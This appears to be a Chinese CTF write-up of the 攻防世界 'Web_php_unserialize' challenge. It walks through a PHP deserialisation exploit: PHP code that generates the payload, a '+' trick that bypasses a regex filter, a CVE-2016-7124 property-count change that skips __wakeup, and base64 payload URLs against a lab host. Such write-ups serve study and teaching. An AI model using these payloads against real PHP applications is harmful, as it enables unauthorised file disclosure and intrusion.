CTF-攻防世界-Web_php_unserialize(PHP反序列化)
题目
解题过程
PHP反序列化的一道题,从代码看出flage在fl4g.php这个文件里面,Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化
class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $demo = new Demo('fl4g.php'); $serialized_data = serialize($demo); echo $serialized_data;
得到序列化结果:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";},通过var参数传入,这里有两个问题:
1.var参数要先进行base64编码
调用php自带的base64_encode函数进行编码
2.要绕过正则检查
/[oc]:\d+:/i这个正则绕过书上看见过(所以没事要多看书 >_< ),O后面加上+就可以了:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
最后访问连接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
嗯,失败了,因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。
所以还有第3步要做,绕过__wakeup的检查,这个正好也在书上看见过(再次印证没事要多看书 >_< )
CVE-2016-7124:__wakeup失效,当属性个数不正确时,PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25,PHP7-PHP7.0.10。
修改属性个数1为2:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";},在进行编码后传入var参数
最终的代码:
class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $demo = new Demo('fl4g.php'); $serialized_data = serialize($demo); $str=str_replace('O:4', 'O:+4',$serialized_data); $str=str_replace(':1:', ':2:',$str); echo base64_encode($str);
这里有一个坑,base64编码必须调用php自带的编码函数才行,直接拿去在线base64编码的结果无法拿到flag,原因不明。。。
访问链接:http://220.249.52.133:36207/index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
拿到flag:
相关文章
- 【stars-one】星之音乐下载器
- TornadoFx的EventBus使用
- Jetpack架构组件学习(2)——ViewModel和Livedata使用
- Jetpack架构组件学习(1)——LifeCycle的使用
- Jetpack架构组件学习(0)——总结篇
- Uni-App 实现资讯滚动
- Jetpack Compose学习(7)——MD样式架构组件Scaffold及导航底部菜单
- Jetpack Compose学习(6)——关于Modifier的妙用
- Jetpack Compose学习(5)——从登录页美化开始学习布局组件使用
- Markdown表情参考
- Jetpack Compose学习(4)——Image(图片)使用及Coil图片异步加载库使用
- Jetpack Compose学习(3)——图标(Icon) 按钮(Button) 输入框(TextField) 的使用
- Jetpack Compose学习(2)——文本(Text)的使用
- Jetpack Compose学习(1)——从登录页开始入门
- Flutter学习(8)——CheckBox多选框使用及动态更改多选框数据
- Flutter学习(7)——网络请求框架Dio简单使用
- 使用RTX Voice,用N卡打造降噪麦克风
- 【stars-one】B站视频下载通
- Vue 长文本组件(有展开更多按钮)实现 附源码及使用
- Windows 2012 R2 修复CredSSP 远程执行代码漏洞 CVE-2018-0886